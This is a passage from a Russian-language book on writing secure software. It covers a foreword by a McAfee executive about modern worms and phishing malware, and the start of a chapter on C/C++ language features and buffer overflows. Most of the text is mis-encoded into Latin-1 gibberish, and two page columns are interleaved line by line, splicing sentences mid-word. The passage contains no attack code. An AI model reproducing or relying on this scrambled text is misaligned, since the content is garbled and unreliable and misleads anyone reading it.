ãëàâíûì òåõíîëîãîì â êîìïàíèè Foundstone, Inc., ïðèîáðåòåííîé McAfee
òî îêàæåòñÿ, ÷òî ñàìîðàñïðîñòðàíÿþùèéñÿ ÷åðâü òåïåðü èçãîòàâëèâàåòñÿ
â îêòÿáðå 2004 ãîäà.
â 20 ðàç áûñòðåå: çà ÷åòûðíàäöàòü äíåé â 2004 ãîäó ïðîòèâ 280 äíåé â 1999.
Ñòþàðò øèðîêî èçâåñòåí ñâîèìè îáøèðíûì è ãëóáîêèìè ïîçíàíèÿìè
Òàêèõ ÷åðâåé ëåãêî ñîçäàòü, äëÿ ýòîãî íå íóæíî ïî÷òè íèêàêèõ çíàíèé,
â îáëàñòè èíôîðìàöèîííîé áåçîïàñíîñòè è ñ÷èòàåòñÿ îäíèì èç âåäóùèõ àâ-
à çàïóñêàþò èõ áåç âñÿêîãî çàçðåíèÿ ñîâåñòè. È, ñòàëî áûòü, áîëüøåå ÷èñëî
òîðèòåòîâ â ýòîé ñôåðå. Îí ìíîãî ïóáëèêóåòñÿ è îáëàäàåò 15-ëåòíèì îïûòîì
õàêåðîâ îðãàíèçóåò áîëüøåå ÷èñëî àòàê çà ìåíüøåå âðåìÿ.
òåõíè÷åñêîãî è àäìèíèñòðàòèâíîãî ðóêîâîäñòâà.  Foundstone îí îñóùåñòâ- Âïåðâûå ìû ïîçíàêîìèëèñü ñ ýòèìè íîâûìè, áîëåå èçîùðåííûìè èçäå-
ëÿë âûðàáîòêó ñòðàòåãèè ðàçâèòèÿ, à òàêæå íåñ îòâåòñòâåííîñòü çà âåñü öèêë ëèÿìè â êîíöå 90-õ ãîäîâ íà ïðèìåðå ÷åðâÿ «sadmind». Îí íà÷àë ñ àòàêè íà
ðàçðàáîòêè, ïîääåðæêè è ðåàëèçàöèè. Îáëàäàÿ íåñîìíåííûìè ëèäåðñêèìè ñëóæáó RPC â îïåðàöèîííîé ñèñòåìå Solaris, êîòîðàÿ íàçûâàëàñü sadmind.
êà÷åñòâàìè, Ñòþàðò äîáèëñÿ åæåãîäíîãî 100-ïðîöåíòíîãî ðîñòà äîõîäîâ Ñêîìïðîìåòèðîâàâ ñèñòåìó ïîä óïðàâëåíèåì Sun Solaris, ÷åðâü çàòåì ïåðå-
ñ ìîìåíòà îñíîâàíèÿ êîìïàíèè â 1999 ãîäó. áðàëñÿ íà ìàøèíû ïîä óïðàâëåíèåì Windows, ïðåâðàòèâ è èõ â äîáû÷ó õàêå-
Äî ñîçäàíèÿ êîìïàíèè Foundstone Ñòþàðò çàíèìàë ðàçëè÷íûå ðóêîâîäÿùèå ðà. Ìû âèäåëè è ÷åðâåé, ñïîñîáíûõ îäíîâðåìåííî àòàêîâàòü ðàçëè÷íûå ñåð-
äîëæíîñòè â èíäóñòðèè èíôîðìàöèîííûõ òåõíîëîãèé, â òîì ÷èñëå â ãðóïïå ìî- âèñû. Ñòàëêèâàëèñü ìû è ñ ÷åðâÿìè, ìåíÿþùèìè ñâîå îáëè÷üå, ÷òî äåëàëî
íèòîðèíãà íàöèîíàëüíîé áåçîïàñíîñòè â êîìïàíèè Ernst & Young, äâà ãîäà çàäà÷ó èõ îáíàðóæåíèÿ è çàùèòû îò íèõ íåèìîâåðíî òðóäíîé. Èìåííî òà-
ïðîðàáîòàë àíàëèòèêîì ïðîìûøëåííîñòè â öåíòðå òåñòèðîâàíèÿ InfoWorld, êèå ñìåøàííûå óãðîçû îæèäàþò íàñ â áóäóùåì, íî íå â âèäå îòäåëüíûõ ÷åð-
ïÿòü ëåò áûë äèðåêòîðîì ïî èíôîðìàöèîííûì òåõíîëîãèÿì â ïðàâèòåëü- âåé. Çàâòðàøíèå ÷åðâè áóäóò ñî÷åòàòü â ñåáå âñå âûøåïåðå÷èñëåííûå îñî-
ñòâå øòàòà Êàëèôîðíèÿ, äâà ãîäà ÿâëÿëñÿ âëàäåëüöåì êîíñàëòèíãîâîé ôèðìû áåííîñòè (ìíîãîïëàòôîðìåííîñòü, ïîëèôîðìíîñòü è ìíîãîâåêòîðíîñòü) â
â òîé æå îáëàñòè è äâà ãîäà ðàáîòàë â óíèâåðñèòåòå øòàòà Êîëîðàäî. ñòðåìëåíèè ñîçäàòü «÷åðâÿ ñóäíîãî äíÿ», îò êîòîðîãî íå áóäåò çàùèòû.
Ñòþàðò ïîëó÷èë ó÷åíóþ ñòåïåíü áàêàëàâðà ïñèõîëîãèè è ôèëîñîôèè ñ óïî- À êàêîãî ðîäà âðåä ìîãóò íàíåñòè òàêèå ÷åðâè? Îíè ìîãóò âîçäåéñòâîâàòü
ðîì íà ïðèëîæåíèÿ ê èíôîðìàòèêå â óíèâåðñèòåòå øòàòà Êîëîðàäî, Áîóëäåð. íà âñå, ÷òî óãîäíî. Çíà÷èòåëüíàÿ äîëÿ íàøèõ ðûíêîâ, èíôðàñòðóêòóðû è áàí-
Ïîçæå îí ïîëó÷èë ìíîãî÷èñëåííûå ñåðòèôèêàòû, â òîì ÷èñëå ISC2 CISSP, êîâ êîìïüþòåðèçîâàíà è ñâÿçàíà â åäèíóþ ñåòü. Ïîäóìàéòå, ÷òî ñëó÷èòñÿ,
Novell CNE è Check Point CCSE. åñëè âû íå ñìîæåòå â òå÷åíèå ìåñÿöà äîáðàòüñÿ äî ñâîèõ äåíåã â áàíêå èëè
áðîêåðñêîé êîíòîðå? Èëè, ïåðåñåêàÿ æåëåçíîäîðîæíûé ïóòü èëè ïåðåêðåñòîê,
íå áóäåòå óâåðåíû, ÷òî âîäèòåëè ìàøèí, ïîäúåçæàþùèõ ñ äðóãîé ñòîðîíû,
âèäÿò íå òîò æå ñâåò, ÷òî è âû. Ïîëàãàåòå, òàêîå áûâàåò òîëüêî â ôàíòàñòè-
÷åñêèõ ðîìàíàõ? Íå áóäüòå òàê óâåðåíû.
Âîçüìåì, ê ïðèìåðó, íåäàâíåãî ÷åðâÿ Banker.J. Âî âðåìÿ èñïîëíåíèÿ îí
çàðàæàåò ñèñòåìó ïðèìåðíî òàê æå, êàê è îïèñàííûå âûøå ÷åðâè, íî ñ îä-
30 Предисловие. Наступит ли судный день?

íèì ñóùåñòâåííûì îòëè÷èåì: ýòî ïåðâûé èç ñåðèè ÷åðâåé, â êîòîðûõ ïðèìå-


íåíà òåõíèêà ïîäëîãà (phishing). Ïðè òàêîé àòàêå õàêåð ïûòàåòñÿ ïîõèòèòü
ó÷åòíîå èìÿ è ïàðîëü ê áàíêîâñêîìó ñ÷åòó, ïåðåàäðåñóÿ âàñ íà Web-ñàéò, ñî-
Глава 1
çäàííûé àòàêóþùèì. À çàòåì îí âîñïîëüçóåòñÿ ïîëó÷åííûìè äàííûìè, ÷òî-
áû çàéòè â áàíê îò âàøåãî èìåíè è âûïèñàòü ñåáå ñàìîìó ÷åê. Îäíàêî ÷åðâü
íå ïåðåàäðåñóåò ïîëüçîâàòåëÿ íà äðóãîé ñàéò, à ïðîñòî âûâîäèò èäåíòè÷íóþ
Web-ñòðàíèöó íà çàðàæåííîé ñèñòåìå, çàñòàâëÿÿ åãî ïîâåðèòü, áóäòî îí ïî-
ïàë íà ñàéò ñâîåãî áàíêà.
Написание
Òàê êòî æå ýòè ëþäè è ïî÷åìó îíè çàíèìàþòñÿ òàêèìè âåùàìè? Ìíîãèå
èç íèõ íå ñëèøêîì óìíû, èìè äâèæåò æåëàíèå ïîòåøèòü ñâîå ß è èñïûòàòü
÷óâñòâî ïðåâîñõîäñòâà. Äðóãèõ ïðèâëåêàþò äåíüãè, îíè âîâëå÷åíû â îðãàíè-
безопасных программ
çîâàííóþ ïðåñòóïíîñòü. Íî êàêèå áû ïðè÷èíû íè ñòîÿëè çà àòàêîé ïóòåì
ïîäëîãà, âû äîëæíû ïîíèìàòü ñóòü ïðîáëåìû è áûòü ãîòîâûì ê âñòðå÷å
ñ íåé. Óÿçâèìûå ìåñòà åñòü â ëþáîì ïðîäóêòå èëè ïðîöåññå è, åñëè íå îáðà-
ùàòü íà íèõ âíèìàíèå è ìèíèìèçèðîâàòü âîçìîæíûé óùåðá, òî õàêåðû áó-
äóò ýêñïëóàòèðîâàòü èõ áåñêîíå÷íî. Íå ñóùåñòâóåò íè ñåðåáðÿíîé ïóëè, íè
âîëøåáíîãî ïîðîøêà, êîòîðûé èçáàâèë áû âàñ îò ïðîáëåìû. Íåò êàêîãî-òî
îäíîãî ïðîäóêòà, óñëóãè èëè ó÷åáíîãî êóðñà, êîòîðûé äàñò âàì âñå èíñòðó- Описание данной главы:
ìåíòû, íåîáõîäèìûå äëÿ ïðîòèâîñòîÿíèÿ óãðîçå.  Введение
Êàê ñîëäàòó íà ïîëå áîÿ, âàì ïðèãîäèòñÿ âñå, äî ÷åãî âû ìîæåòå äîáðàòü-  С/С++
ñÿ. Ñ÷èòàéòå ýòó êíèãó ñâîåé àìóíèöèåé, åå äîëæåí ïðî÷èòàòü âñÿêèé ñîëäàò  Java
âîéñê áåçîïàñíîñòè, íå æåëàþùèé ñòàòü î÷åðåäíîé æåðòâîé. Ïðî÷òèòå åå  C#
ñòðàíèöó çà ñòðàíèöåé, óñâîéòå ìàòåðèàë è âîñïîëüçóéòåñü ïîëó÷åííûìè çíà-  Perl
íèÿìè ñåáå âî áëàãî. Íå äàéòå ýòîé çàìå÷àòåëüíîé ðàáîòå ïðîñêîëüçíóòü  Python
ìåæ âàøèìè «àêàäåìè÷åñêèìè ïàëüöàìè».
Áåçîïàñíîé ðàáîòû âàì.  Резюме
Ñòþàðò Ìàêêëþð  Обзор изложенного материала
Ñòàðøèé âèöå-ïðåçèäåíò ïîäðàçäåëåíèÿ  Часто задаваемые вопросы
ïî ðàçðàáîòêå ïðîãðàìì äëÿ óïðàâëåíèÿ ðèñêàìè
McAfee, Inc.
32 Глава 1. Написание безопасных программ С/С++ 33

íîñòü è îáúåì êîäà, íåîáõîäèìîãî äëÿ ðåøåíèÿ êîíêðåòíîé çàäà÷è. Áåçóñ-


Введение ëîâíî, ÿçûêè ñöåíàðèåâ ñòàëè ìå÷òîé ëåíèâîãî ïðîãðàììèñòà.
Ïî÷èòàåìûì ïðåäêîì âñåõ èíòåðïðåòèðóåìûõ ÿçûêîâ ÿâëÿåòñÿ ÿçûê
Èñòîðèÿ ÿçûêîâ ïðîãðàììèðîâàíèÿ êîðîòêà, íî äèíàìè÷íà. Åùå íå òàê óïðàâëåíèÿ çàäàíèÿìè (JCL – job control language).  ñèñòåìå OS/360 ýòîò
äàâíî ïåðåäîâûì ñ÷èòàëñÿ ÿçûê àññåìáëåðà. Íî ñ òåõ ïîð ïðîãðàììèðîâà- ÿçûê èñïîëüçîâàëñÿ äëÿ îðãàíèçàöèè äàííûõ, ïîñòóïàþùèõ ñ ïåðôîêàðò,
íèå ïðîøëî äëèííûé ïóòü, íà êîòîðîì îáîãàòèëîñü íîâûìè èäåÿìè è òåõíî- â ïðèãîäíûå äëÿ ðàáîòû íàáîðû ñèìâîëîâ. Åñëè ïðèíÿòü âî âíèìàíèå âîç-
ëîãèÿìè: îò îáúåêòîâ äî èíñòðóìåíòîâ âèçóàëüíîãî ïðîãðàììèðîâàíèÿ. Ñå- ìîæíîñòè ÿçûêà è åãî ïðèìèòèâíóþ ïðèðîäó, òî íàêëàäíûå ðàñõîäû áûëè
ãîäíÿ ñóùåñòâóåò òðè îñíîâíûõ ïàðàäèãìû ïðîãðàììèðîâàíèÿ: ïðîöåäóðíàÿ ïðîñòî ãèãàíòñêèìè. Ïåðâûì ïîëó÷èâøèì øèðîêîå ðàñïðîñòðàíåíèå ÿçû-
(íàïðèìåð, C è Pascal), ôóíêöèîíàëüíàÿ (Lisp è ML) è îáúåêòíî-îðèåíòèðî- êîì ñöåíàðèåâ ñòàë ÿçûê èíòåðïðåòàòîðà êîìàíä sh â ñèñòåìå UNIX. Ïåðâîíà-
âàííàÿ (Java, C++ è Smalltalk). Ëîãè÷åñêîå èëè äåêëàðàòèâíîå ïðîãðàììèðî- ÷àëüíî îí ïðåäíàçíà÷àëñÿ äëÿ àäìèíèñòðàòîðîâ è ïîçâîëÿë áûñòðî ñîçäà-
âàíèå (íàïðèìåð, Prolog) îñòàåòñÿ óäåëîì àêàäåìè÷åñêèõ èññëåäîâàíèé. âàòü ñöåíàðèè äëÿ óïðàâëåíèÿ ñåòüþ è ñèñòåìîé â öåëîì.
Êàæäàÿ ïàðàäèãìà çíàìåíóåò ñîáñòâåííûé ïîäõîä ê ðåøåíèþ çàäà÷. Ïðî- Ïî ìåðå òîãî êàê ïðîèçâîäèòåëüíîñòü è ôóíêöèîíàëüíîñòü ïëàòôîðìû
öåäóðíóþ ïðîãðàììó ìîæíî ðàññìàòðèâàòü êàê ïîñëåäîâàòåëüíîñòü èíñò- ðîñëà áåçóìíûìè òåìïàìè, ÷èñëî èíòåðïðåòèðóåìûõ ÿçûêîâ ïðåâûñèëî
ðóêöèé, êîòîðûå íà êàæäîì øàãå ìîäèôèôèöèðóþò äàííûå, ðàçìåùåííûå ÷èñëî ïîëíîìàñøòàáíûõ êîìïèëèðóåìûõ ÿçûêîâ ïðîãðàììèðîâàíèÿ. Ñöå-
â îïðåäåëåííûõ ÿ÷åéêàõ ïàìÿòè. Òàêèå ïðîãðàììû ñîäåðæàò êîíñòðóêöèè íàðèè ïðåâðàòèëèñü â âåñüìà ðàçâèòóþ òåõíîëîãèþ, ñâèäåòåëüñòâîì ÷åìó ìî-
äëÿ ïîâòîðåíèÿ, íàïðèìåð, öèêëû è ïðîöåäóðû. Ôóíêöèîíàëüíóþ ïðîãðàììó ãóò ñëóæèòü øèðîêèå âîçìîæíîñòè, çàëîæåííûå â òàêèå ÿçûêè, êàê PHP, Py-
ìîæíî ïðåäñòàâëÿòü ñåáå êàê íàáîð ôóíêöèé íàä çàäàííûìè èñõîäíûìè thon, Perl è Javascri pt. Ñîâðåìåííûå ÿçûêè ñöåíàðèåâ óæå ñîäåðæàò îáúåêò-
äàííûìè. Â èñòèííî ôóíêöèîíàëüíûõ ïðîãðàììàõ íåò ïðèñâàèâàíèé ïåðå- íî-îðèåíòèðîâàííûå ñðåäñòâà, ñîçäàíèå êëàññîâ, óïðàâëåíèå ïàìÿòüþ,
ìåííûì; äëÿ ïîëó÷åíèÿ òðåáóåìîãî ðåçóëüòàòà äîñòàòî÷íî îäíèõ ëèøü ñïèñ- ñîçäàíèå ñîêåòîâ, ðåêóðñèþ, äèíàìè÷åñêèå ìàññèâû è ðåãóëÿðíûå âûðàæå-
êîâ è ôóíêöèé. Îáúåêòíî-îðèåíòèðîâàííûå ïðîãðàììû îðãàíèçîâàíû íèÿ. Åñòü äàæå èíòåðïðåòèðóåìûå ÿçûêè, ïîçâîëÿþùèå ðàçðàáàòûâàòü
â êëàññû. Ýêçåìïëÿðû êëàññîâ, èìåíóåìûå îáúåêòàìè, ñîäåðæàò äàííûå è ìå- ãðàôè÷åñêèå èíòåðôåéñû, íàïðèìåð, ïîïóëÿðíûé ÿçûê TCL/Tk.
òîäû, âûïîëíÿþùèå òå èëè èíûå äåéñòâèÿ íàä ýòèìè äàííûìè. Îáúåêòû Â ýòîé ãëàâå âû ïîçíàêîìèòåñü êàê ñ óíèêàëüíûìè, òàê è ñ îáùèìè äëÿ
âçàèìîäåéñòâóþò, ïîñûëàÿ äðóã äðóãó ñîîáùåíèÿ, â êîòîðûõ ñîäåðæàòñÿ çà- ðàçíûõ ÿçûêîâ ñðåäñòâàìè è óçíàåòå î íåêîòîðûõ ïðèåìàõ, ïðèìåíÿåìûõ
ïðîñû íà âûïîëíåíèå îïðåäåëåííûõ äåéñòâèé. ïðîôåññèîíàëàìè.
Ïîíèìàòü îñîáåííîñòè ÿçûêîâ ïðîãðàììèðîâàíèÿ íåîáõîäèìî êàê ïðè-
êëàäíûì ïðîãðàììèñòàì, òàê è ñïåöèàëèñòàì ïî áåçîïàñíîñòè, çàíÿòûì
òåñòèðîâàíèåì ïðèëîæåíèé. Ó êàæäîãî ÿçûêà åñòü ñïåöèôè÷åñêèå õàðàêòå-
ðèñòèêè, êîòîðûå íóæíî ó÷èòûâàòü ïðè ïîïûòêå âçëîìà ïðîãðàììû. Íà-
C/C++
ïðèìåð, ïðîãðàììèñòû, ïðèâûêøèå ïèñàòü «ýêñïëîéòû», îñíîâàííûå íà ïå- ßçûê ïðîãðàììèðîâàíèÿ C ñîçäàë Äåííèñ Ðè÷è èç êîìïàíèè Bell Labs â 1972 ãî-
ðåïîëíåíèè áóôåðà â ïðîãðàììàõ íà ÿçûêå C, ìîãóò âïàñòü â ðàñòåðÿííîñòü, äó. Ñ òåõ ïîð C ñòàë îäíèì èç îñíîâíûõ ÿçûêîâ ïðîôåññèîíàëüíûõ ïðîãðàììè-
êîãäà äëÿ àóäèòà áóäåò ïðåäñòàâëåíî ïðèëîæåíèå, íàïèñàííîå íà Java. Ïðî÷è- ñòîâ è ãëàâíûì ÿçûêîì â îïåðàöèîííîé ñèñòåìå UNIX.  1980 ãîäó Áüÿðí Ñòðà-
òàâ ýòó ãëàâó, âû ïîëó÷èòå îáùåå ïðåäñòàâëåíèå î òàêîãî ðîäà àñïåêòàõ áåçî- óñòðóï èç òîé æå êîìïàíèè Bell Labs ïðèñòóïèë ê âêëþ÷åíèþ â C îáúåêòíî-
ïàñíîñòè, ñâÿçàííûõ ñ íèìè ðèñêàõ è î òîì, êàêèå äåôåêòû âîçìîæíû â ïðî- îðèåíòèðîâàííûõ ìåõàíèçìîâ, â ÷àñòíîñòè, èíêàïñóëÿöèè è íàñëåäîâàíèÿ.
ãðàììàõ íà ÿçûêàõ C, C++, Java è C#. Òàê â 1983 ãîäó ïîÿâèëñÿ ÿçûê «C with Classes», êîòîðûé ïîçäíåå ïîëó÷èë íà-
Íà çàðå ðàñïðîñòðàíåíèÿ îïåðàöèîííîé ñèñòåìû UNIX â êîíöå 60-õ è çâàíèå C++. Èìåÿ ñõîæèé ñ C ñèíòàêñèñ è îáëàäàÿ ïðåèìóùåñòâàìè îáúåêòíîé
â 70-õ ãîäàõ íà àâàíñöåíó âûøëè èíòåðïðåòèðóåìûå ÿçûêè, ïðèçâàííûå ñî- îðèåíòèðîâàííîñòè, ÿçûê C++ áûñòðî ïðèîáðåë øèðîêóþ ïîïóëÿðíîñòü.
êðàòèòü âðåìÿ ðàçðàáîòêè íåáîëüøèõ çàäà÷. Îíè ïîçâîëÿëè ýíòóçèàñòàì ïðî- ßçûêè C è C++ òàê øèðîêî ðàñïðîñòðàíåíû áëàãîäàðÿ ñâîåé âûðàçèòåëü-
ãðàììèðîâàíèÿ ñîçäàâàòü ñöåíàðèè, òî åñòü íàáîðû èíòåðïðåòèðóåìûõ íîé ìîùè, à òàêæå ïîòîìó, ÷òî èìåííî èõ ïðåäïî÷èòàþò ïðåïîäàâàòü â óíè-
èíñòðóêöèé, êîòîðûå êîìïüþòåð ìîã âûïîëíèòü. Òàêèå óòîìèòåëüíûå ïðî- âåðñèòåòàõ. Õîòÿ íîâûå ÿçûêè, ê ïðèìåðó, C# è Java, ïîñòåïåííî íàáèðàþò
áëåìû êàê óïðàâëåíèå ïàìÿòüþ è ðàáîòà ñ íèçêîóðîâíåâûìè ñèñòåìíûìè ïîïóëÿðíîñòü, íî ïðîãðàììèñòû, óìåþùèå ïèñàòü íà C è C++, áóäóò âîñòðå-
êîìàíäàìè, òåïåðü âûïîëíÿëèñü «çà êóëèñàìè», ÷òî ïîçâîëèëî ñíèçèòü ñëîæ- áîâàíû åùå ìíîãî ëåò.
34 Глава 1. Написание безопасных программ С/С++ 35

Характеристики языка âîçìîæíîñòÿìè. Îñîáåííî õîðîøî ÿçûê C ïîäõîäèò äëÿ ðàáîòû â ñèñòåìå
UNIX, à òàêæå â òåõ ñëó÷àÿõ, êîãäà íóæíî âûïîëíèòü áîëüøîé îáúåì âû÷èñ-
Ïîñêîëüêó âûñîêîóðîâíåâûå ÿçûêè C è C++ ÿâëÿþòñÿ êîìïèëèðóåìûìè, òî ëåíèé èëè ðåøèòü ñëîæíóþ çàäà÷ó áûñòðî è ýôôåêòèâíî.
íàïèñàííûé íà íèõ òåêñò íå ïîíÿòåí ïðîöåññîðó. Ñïåöèàëüíàÿ ïðîãðàììà-
êîìïèëÿòîð òðàíñëèðóåò ýòîò òåêñò â ìàøèííûé êîä, êîòîðûé ïðîöåññîð ìî- ßçûê C++
æåò èñïîëíèòü.  îòëè÷èå îò èíòåðïðåòèðóåìûõ ÿçûêîâ, ê ÷èñëó êîòîðûõ
îòíîñèòñÿ Java, íå ñóùåñòâóåò íèêàêîãî áàéò-êîäà èëè ïðîìåæóòî÷íîãî ÿçû- ßçûê C++ ÿâëÿåòñÿ ðàñøèðåíèåì C. Ñèíòàêñèñ è íàáîð îïåðàòîðîâ ñõîæè
êà. Ïðîãðàììû, íàïèñàííûå íà C èëè C++, òðàíñëèðóþòñÿ íåïîñðåäñòâåííî ñ òåì, ÷òî åñòü â C, íî ïðè ýòîì äîáàâëåíû ÷åðòû, õàðàêòåðíûå äëÿ îáúåêòíî-
â êîìàíäû, äîñòóïíûå ïðîöåññîðó. Ó òàêîãî ïîäõîäà åñòü íåäîñòàòîê – çàâè- îðèåíòèðîâàííîãî ïðîãðàììèðîâàíèÿ, à èìåííî:
ñèìîñòü îò ïëàòôîðìû. Êîä äîëæåí áûòü ñêîìïèëèðîâàí èìåííî äëÿ òîé ñè-  Èíêàïñóëÿöèÿ
Èíêàïñóëÿöèÿ. Çà ñ÷åò èñïîëüçîâàíèÿ êëàññîâ îáúåêòíî-îðèåíòèðî-
ñòåìû, íà êîòîðîé áóäåò èñïîëíÿòüñÿ. âàííûé êîä èìååò î÷åíü õîðîøóþ îðãàíèçàöèþ è îáëàäàåò âûñîêîé
ìîäóëüíîñòüþ. Äàííûå è ìåòîäû äëÿ âûïîëíåíèÿ îïåðàöèé íàä íèìè
ßçûê C èíêàïñóëèðîâàíû â ñòðóêòóðó êëàññà;
ßçûê C çíàìåíèò ñâîåé óíèâåðñàëüíîñòüþ, ñî÷åòàåìîé ñ ïðîñòîòîé. ×èñëî  Íàñëåäîâàíèå
Íàñëåäîâàíèå. Îáúåêòíî-îðèåíòèðîâàííàÿ îðãàíèçàöèÿ è èíêàïñóëÿ-
çàðåçåðâèðîâàííûõ ñëîâ â íåì íåâåëèêî, íî ôóíêöèîíàëüíîñòü òåì íå ìåíåå öèÿ ïîçâîëÿþò áåç òðóäà ðåàëèçîâàòü ïîâòîðíîå èñïîëüçîâàíèå èëè
âåñüìà âûñîêà. Íåáîëüøîå ÷èñëî çàðåçåðâèðîâàííûõ ñëîâ íå ìåøàåò ïðî- «íàñëåäîâàíèå» ðàíåå íàïèñàííîãî êîäà. Íàñëåäîâàíèå ýêîíîìèò âðå-
ãðàììèñòó âûðàçèòü òî, ÷òî îí õî÷åò. Ê óñëóãàì ïðîãðàììèñòîâ íà C èìåþòñÿ ìÿ, òàê êàê ïðîãðàììèñòó íå íóæíî çàíîâî êîäèðîâàòü óæå èìåþùó-
ðàçíîîáðàçíûå îïåðàòîðû è âîçìîæíîñòü ñîçäàâàòü ñîáñòâåííûå òèïû äàí- þñÿ ôóíêöèîíàëüíîñòü;
íûõ. Ïðîñòîòà ÿçûêà ïîçâîëÿåò íàó÷èòüñÿ åãî îñíîâàì ëåãêî è áûñòðî.  Ñîêðûòèå äàííûõ
äàííûõ. Îáúåêòû, òî åñòü ýêçåìïëÿðû êëàññà ìîãóò ñîäåð-
Ìîùü ÿçûêà C ïðîèñõîäèò îò îòñóòñòâèÿ â íåì îãðàíè÷åíèé; ïðîãðàììèñò æàòü äàííûå, êîòîðûå íå ìîãóò áûòü èçìåíåíû èíà÷å êàê ñ ïîìîùüþ
ìîæåò ïîëó÷àòü äîñòóï ê äàííûì è ìàíèïóëèðîâàòü èìè íà óðîâíå áèòîâ. ìåòîäîâ ñàìîãî ýòîãî êëàññà. Ïðîãðàììèñò íà C++ ìîæåò ñêðûòü äàí-
Øèðîêî ðàñïðîñòðàíåíî òàêæå èñïîëüçîâàíèå óêàçàòåëåé, òî åñòü ïðÿìûõ íûå, íàçíà÷èâ èì àòðèáóò «private» (çàêðûòûé);
ññûëîê íà ÿ÷åéêè ïàìÿòè.  áîëåå ïîçäíèõ ÿçûêàõ, íàïðèìåð, â Java ýòà âîç-  Àáñòðàêòíûå òèïû äàííûõ
äàííûõ. Ïðîãðàììèñò ìîæåò îïðåäåëèòü êëàññ,
ìîæíîñòü óäàëåíà. C – ýòî ïðîöåäóðíûé ÿçûê. Íàïèñàííàÿ íà íåì ïðîãðàììà êîòîðûé ìîæíî ïðåäñòàâëÿòü ñåáå êàê îáîáùåíèå ñòðóêòóðû (struct),
ñîñòîèò èç ôóíêöèé, ïðåäñòàâëÿþùèõ ñîáîé àâòîíîìíûå êîíñòðóêöèè äëÿ èìåþùåéñÿ â ÿçûêå C. Êëàññ îïèñûâàåò îïðåäåëåííûé ïðîãðàììèñòîì
ðåøåíèÿ îòäåëüíûõ çàäà÷. Ìîäóëüíîñòü ïîçâîëÿåò èñïîëüçîâàòü êîä ïîâòîð- òèï äàííûõ âìåñòå ñ îïåðàöèÿìè, ïðèìåíèìûìè ê îáúåêòàì ýòîãî
íî. Ãðóïïû ôóíêöèé ìîæíî îáúåäèíèòü â áèáëèîòåêè, äîïóñêàþùèå èì- òèïà.
ïîðò â äðóãèå ïðîãðàììû, ÷òî çàìåòíî ñîêðàùàåò âðåìÿ ðàçðàáîòêè.  îòëè÷èå îò Java, ÿçûê C++ íå ÿâëÿåòñÿ ïîëíîñòüþ îáúåêòíî-îðèåíòèðî-
C òàêæå î÷åíü ýôôåêòèâíûé ÿçûê. Íåêîòîðûå àëãîðèòìû âîçìîæíî ðåà-
âàííûì. Íà íåì ìîæíî ïèñàòü ïðîãðàììû â ñòèëå C, íå ïîëüçóÿñü îáúåêòíî-
ëèçîâàòü ìàøèííî-çàâèñèìûì ñïîñîáîì, âîñïîëüçîâàâøèñü îñîáåííîñòÿìè
îðèåíòèðîâàííûìè ðàñøèðåíèÿìè.
àðõèòåêòóðû ìèêðîïðîöåññîðà. Ïðîãðàììà íà C òðàíñëèðóåòñÿ íåïîñðåä-
ñòâåííî â ìàøèííûé êîä, ïîýòîìó èñïîëíÿåòñÿ áûñòðåå ïðîãðàììû íà «èí-
òåðïðåòèðóåìîì» ÿçûêå òèïà Java. Òàêîå áûñòðîäåéñòâèå îêàçûâàåòñÿ ñó-
Áåçîïàñíîñòü
ùåñòâåííûì äëÿ ìíîãèõ ïðèëîæåíèé, îñîáåííî ðàáîòàþùèõ â ðåàëüíîì ßçûêè C è C++ ðàçðàáàòûâàëèñü äî ñòðåìèòåëüíîãî íàñòóïëåíèÿ Èíòåðíåòà,
ìàñøòàáå âðåìåíè, íî ó íåãî åñòü è îáðàòíàÿ ñòîðîíà: êîä, íàïèñàííûé íà C, ïîýòîìó ïåðâîî÷åðåäíîå âíèìàíèå áåçîïàñíîñòè íå óäåëÿëîñü. Òèïè÷íîé
íå ÿâëÿåòñÿ ïëàòôîðìåííî-íåçàâèñèìûì. Ïðè ïåðåíîñå íà íîâóþ ïëàòôîð- óÿçâèìîñòüþ äëÿ ïðîãðàìì, íàïèñàííûõ íà ýòèõ ÿçûêàõ, ÿâëÿåòñÿ ïåðåïîëíå-
ìó ÷àñòè ïðîãðàììû èíîãäà ïðèõîäèòñÿ ïåðåïèñûâàòü. Èç-çà äîïîëíèòåëü- íèå áóôåðà. Îá ýòîé ïðîáëåìå ìíîãèå óçíàëè èç ñòàòüè Ýëèàñà Ëåâè (El ias
íûõ óñèëèé íå âñåãäà ñóùåñòâóåò âåðñèÿ êîíêðåòíîé C-ïðîãðàììû äëÿ íîâîé Levy) (îïóáëèêîâàííîé ïîä ïñåâäîíèìîì «Aleph One») «Smashing the Stack for
îïåðàöèîííîé ñèñòåìû èëè íàáîðà ìèêðîñõåì. Fun and Profit» (Ìàíèïóëÿöèè ñî ñòåêîì äëÿ çàáàâû è ïîëüçû). Ñ ïîìîùüþ
Òåì íå ìåíåå, ÿçûê C î÷åíü ïîëþáèëñÿ ïðîãðàììèñòàì. Ïðîãðàììû íà îïèñàííîé òàì òåõíèêè àòàêóþùèé ìîæåò îáíàðóæèòü ó÷àñòîê ïðîãðàììû,
íåì ìîãóò âûãëÿäåòü ïðîñòî è ýëåãàíòíî, îáëàäàÿ â òî æå âðåìÿ áîëüøèìè â êîòîðîì çíà÷åíèå ñ÷èòûâàåòñÿ â îáëàñòü ôèêñèðîâàííîãî ðàçìåðà, à çàòåì
36 Глава 1. Написание безопасных программ С/С++ 37

ïåðåäàòü ïðîãðàììå áîëåå äëèííîå çíà÷åíèå, âûçâàâ òåì ñàìûì ïåðåïîëíå- áåç àðãóìåíòîâ (î ÷åì ãîâîðèò êëþ÷åâîå ñëîâî void), âîçâðàùàþùåé öåëîå
íèå ñòåêà èëè «êó÷è», è êàê ñëåäñòâèå ïîëó÷èòü äîñòóï ê çàùèùåííîé îáëà- ÷èñëî. Ïðåäëîæåíèå printf â ñòðîêå 3 ïå÷àòàåò ñòðîêó íà òàê íàçûâàåìûé ñòàí-
ñòè ïàìÿòè. äàðòíûé âûâîä. Êîíñòðóêöèÿ «%s» ãîâîðèò î òîì, ÷òî áóäåò íàïå÷àòàíà ïåðå-
 ÿçûêàõ C è C++ íåò ìåõàíèçìà àâòîìàòè÷åñêîãî êîíòðîëÿ âûõîäà çà ãðà- ìåííàÿ ñòðîêîâîãî òèïà, à íàäïèñü «Hello, world!» – ýòî è åñòü âûâîäèìàÿ ñòðî-
